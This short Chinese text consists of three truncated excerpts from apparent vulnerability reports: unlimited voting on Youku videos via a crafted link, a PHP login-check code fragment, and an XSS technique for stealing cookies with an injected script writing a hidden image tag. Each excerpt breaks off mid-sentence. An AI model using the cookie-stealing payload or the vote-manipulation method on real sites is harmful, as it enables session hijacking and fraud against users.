简要描述：允许用户无限制的将一个视频置顶，或者置底详细说明：无限制顶或者踩一个视频漏洞证明：http://v.youku.com/v_show/id_XMzE1ODYzOTEy.html先查看当前的顶和踩的票数，再访问以下的链接，踩的票数会加1，其中__a...

看代码。。以下是引用片段：……若干……if( !$postdb["userid"] || !$postdb["pwd"] { echo "...

利用XSS转存cookie:插入XSS语句<script>document.write('<img src="" width=0 height=0 border=0 />' ;</script>其中C...